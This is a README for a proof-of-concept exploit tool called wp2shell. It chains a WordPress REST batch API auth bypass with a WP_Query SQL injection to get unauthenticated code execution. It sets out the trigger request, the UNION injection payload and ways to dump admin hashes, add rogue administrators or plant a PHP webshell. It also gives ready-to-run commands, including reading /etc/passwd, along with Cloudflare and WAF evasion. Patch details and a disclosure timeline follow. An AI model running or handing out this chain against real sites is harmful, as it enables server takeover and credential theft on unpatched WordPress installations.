Pre-auth RCE proof-of-concept chaining a WordPress REST batch API auth bypass with WP_Query SQL injection to dump hashes, add admin users, or plant a webshell.
Pre-Auth RCE PoC - CVE-2026-63030 + CVE-2026-60137 WordPress 6.9.0–6.9.4 / 7.0.0–7.0.1
For authorized penetration testing and security research only. Running this against systems without written authorization is illegal. The authors accept no liability for misuse.
wp2shell is a proof-of-concept exploit that chains two independently-reported vulnerabilities to achieve unauthenticated remote code execution on unpatched WordPress installations.
| CVE | Component | Class | Auth Required |
|---|
| CVE-2026-63030 | REST Batch API (WP_REST_Server) | Array desync → auth bypass | None |
| CVE-2026-60137 | WP_Query | SQL injection via author__not_in | None (bypassed by above) |
The end result: a shell on the box, a rogue administrator account, or a dumped credential hash — all from a single unauthenticated POST request.
Affected versions: WordPress 6.9.0, 6.9.1, 6.9.2, 6.9.3, 6.9.4, 7.0.0, 7.0.1 Fixed in: WordPress 6.9.5 / 7.0.2 (patch released alongside coordinated disclosure)
WordPress 5.6 introduced the batch processing endpoint at /wp-json/batch/v1. It allows authenticated REST clients to bundle multiple sub-requests into a single HTTP round-trip. Each sub-request is independently validated and dispatched by WP_REST_Server::serve_batch_request_v1().
Inside serve_batch_request_v1() (simplified):
$requests = $data['requests'];
$responses = [];
$matches = [];
// === Loop 1: Validate ===
foreach ($requests as $i => $request) {
$parsed = wp_parse_url($request['path']);
if (is_wp_error($parsed) || $parsed === false) {
// Failure: append WP_Error to $responses — but NOT to $matches
$responses[] = $this->envelope_response(new WP_Error(...), false);
continue; // <─── skips the push to $matches
}
// Success: resolve auth/permissions for this path
$match = $this->match_route($parsed['path'], $request['method']);
$matches[] = $match; // <─── stored at array-sequential index
$responses[] = null; // <─── placeholder at same index
}
// === Loop 2: Dispatch ===
foreach ($matches as $j => $match) {
// $j starts at 0 — but if request[0] failed, $matches[0] is actually request[1]
$responses[$j] = $this->dispatch($match); // <─── dispatches with wrong context
}
The two arrays ($responses and $matches) are expected to stay in sync — one entry per sub-request, same index. When sub-request [0] fails wp_parse_url(), it adds an entry to $responses but not to $matches. After the first loop:
$responses = [ WP_Error, null ] ← index 0 = error, index 1 = placeholder
$matches = [ match_for_req1 ] ← index 0 = match for request[1]
Loop 2 then dispatches $matches[0] and writes the result to $responses[0]. It is dispatching request[1] but overwriting index 0 in responses — and critically, it uses the permission context that was computed as part of the failed request[0]'s error handling, not the permission context for the target endpoint.
The practical effect: any endpoint that requires authentication (including endpoints that perform SQL queries) can be called without credentials.
"path": "://\x00" # triggers wp_parse_url() → false
The string ://\x00 is a valid Python string but an invalid URL in PHP's wp_parse_url() wrapper (the null byte causes the parse to fail, returning false rather than a WP_Error, which makes the is_wp_error() guard useless — only $parsed === false catches it, and the array alignment is already broken by that point).
WP_Query author__not_in SQL InjectionThe WordPress REST API for posts (/wp/v2/posts) exposes an author_exclude query parameter that maps directly to WP_Query's author__not_in argument. WP_Query is the core database abstraction used for nearly every content query in WordPress.
In WP_Query::parse_query() (simplified):
$author__not_in = $this->get('author__not_in');
if (is_array($author__not_in)) {
$author__not_in = array_map('absint', $author__not_in);
// absint() converts every element to a safe non-negative integer
}
// If NOT an array → this block is skipped entirely
// $author__not_in is used verbatim in the query builder:
Later in WP_Query::get_posts():
if (!empty($author__not_in)) {
$where .= " AND {$wpdb->posts}.post_author NOT IN ({$author__not_in})";
// ^^^^^^^^^^^^^^^^
// raw string dropped into SQL with no escaping
}
The sanitization only fires when $author__not_in is an array. PHP's type system determines this based on how the value arrived:
[1, 2, 3] → is_array() = true → sanitized"1,2,3" (a string) → is_array() = false → not sanitizedThe REST endpoint accepts author_exclude from the URL query string. It arrives as a string. WP_Query skips the sanitization block, and the raw value is interpolated into the SQL WHERE clause.
The injection point lands inside a NOT IN (...) context:
-- Normal query:
WHERE post_author NOT IN (1)
-- With payload: 0 UNION SELECT ...
WHERE post_author NOT IN (0 UNION SELECT ...)
Because the batch endpoint dispatches the sub-request as part of a larger query result, the UNION rows are returned in the REST JSON response body, making this a Boolean/UNION blind-free extraction — no timing, no out-of-band needed.
Attacker (no credentials)
│
▼
POST /wp-json/batch/v1
{
"requests": [
{ "path": "://\x00", "method": "GET" }, ← [1] malformed URL: triggers desync
{ "path": "/wp/v2/posts?author_exclude=
0 UNION SELECT ... FROM wp_users-- -", ← [2] SQLi payload
"method": "GET" }
]
}
│
▼
WP_REST_Server::serve_batch_request_v1()
├─ Request[0] fails wp_parse_url() → $responses[0] = WP_Error
│ NO push to $matches
├─ Request[1] matches route → $matches[0] = route
└─ Loop 2 dispatches $matches[0] with wrong auth context
│
▼
WP_Query receives author__not_in = "0 UNION SELECT ..."
├─ is_array() = false → sanitization skipped
└─ Raw SQL: WHERE post_author NOT IN (0 UNION SELECT ...)
│
▼
MySQL executes UNION query → wp_users data in SELECT result
│
▼
REST JSON response contains user_login + user_pass in post fields
│
▼
┌─────────────────────────────────────────────────────────────┐
│ Post-exploitation (any of): │
│ • Dump admin hash → crack offline with hashcat │
│ • INSERT rogue admin via stacked queries │
│ • SELECT ... INTO OUTFILE → PHP webshell → OS access │
└─────────────────────────────────────────────────────────────┘
Python >= 3.8
requests
cloudscraper
Install dependencies:
pip install requests cloudscraper
usage: wp2shell.py [-h] [--mode {detect,dump,adduser,shell}]
[--cmd CMD] [--user USER] [--password PASSWORD]
[--prefix PREFIX] [--proxy PROXY]
[--no-interactive] [--debug] [--cookie COOKIE]
target
| Mode | What it does |
|---|---|
detect | Fingerprint WP version and check if the batch endpoint exists. No exploitation. |
dump | Extract the administrator's password hash via UNION SQLi. |
adduser | Create a new administrator account via stacked INSERT queries. |
shell | Plant a PHP webshell via SELECT INTO OUTFILE, then drop to interactive shell. |
Detection only — safe to run during scoping:
python3 wp2shell.py https://target.com --mode detect
Dump admin hash:
python3 wp2shell.py https://target.com --mode dump
Dump with debug output (shows raw HTTP responses — useful when WAF is involved):
python3 wp2shell.py https://target.com --mode dump --debug
Create rogue admin account:
python3 wp2shell.py https://target.com --mode adduser --user pentest_admin --password 'S3cur3P@ss!'
Plant shell and drop to interactive prompt:
python3 wp2shell.py https://target.com --mode shell
One-shot command execution (non-interactive):
python3 wp2shell.py https://target.com --mode shell --no-interactive --cmd "cat /etc/passwd"
Through Burp proxy:
python3 wp2shell.py https://target.com --mode dump --proxy http://127.0.0.1:8080
Bypass Cloudflare with existing cf_clearance cookie:
python3 wp2shell.py https://target.com --mode dump --cookie "cf_clearance=<value>"
Non-default table prefix:
python3 wp2shell.py https://target.com --mode dump --prefix staging_
The tool uses cloudscraper by default, which mimics a Chrome TLS fingerprint and automatically solves Cloudflare's JavaScript challenge (iuam mode). This covers most shared-hosting targets behind Cloudflare.
If the target uses Cloudflare's bot management (__cf_bm) or you already have a solved challenge cookie, pass it with --cookie "cf_clearance=..." to use a plain requests session instead.
The batch endpoint has two registered paths. WAF rules frequently block the standard path (/wp-json/batch/v1) but miss the legacy query-param path (/?rest_route=/batch/v1). The tool probes both automatically.
[-] Could not extract credentials
--debug to see the raw JSON response.--prefix. Many installs use wp_ (default); some use custom prefixes.content.rendered may be filtered. Try --mode adduser instead.[-] OUTFILE failed
SELECT INTO OUTFILE requires MySQL's FILE privilege on the DB user. This is common on shared hosting but usually disabled on cloud/managed databases (RDS, Cloud SQL, etc.).--mode dump to read the path from config files.[-] Target does not appear vulnerable
GET /wp-json/ and look for /batch/v1 in the routes key.WordPress 6.9.5 / 7.0.2 addressed both CVEs:
CVE-2026-63030: serve_batch_request_v1() now maintains a single unified array for both match data and responses, eliminating the index desync. Failed requests are tracked by index in the unified structure.
CVE-2026-60137: WP_Query::parse_query() now casts author__not_in to an array unconditionally before sanitization, regardless of the input type:
$author__not_in = array_map('absint', (array) $author__not_in);
| CVE | Score | Vector |
|---|---|---|
| CVE-2026-63030 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CVE-2026-60137 | 9.8 Critical | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Date | Event |
|---|---|
| 2026-05-14 | CVE-2026-60137 discovered during pentest engagement |
| 2026-05-19 | CVE-2026-63030 discovered; chain confirmed as pre-auth RCE |
| 2026-05-22 | Both CVEs reported to WordPress Security Team via HackerOne |
| 2026-06-03 | WordPress Security Team confirms and begins patch development |
| 2026-07-08 | Patches released (WP 6.9.5 / 7.0.2) alongside coordinated disclosure |
| 2026-07-22 | PoC published |
This tool is provided for authorized security testing and research only.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND.
USE AT YOUR OWN RISK. FOR AUTHORIZED TESTING ONLY.
MIT License — see LICENSE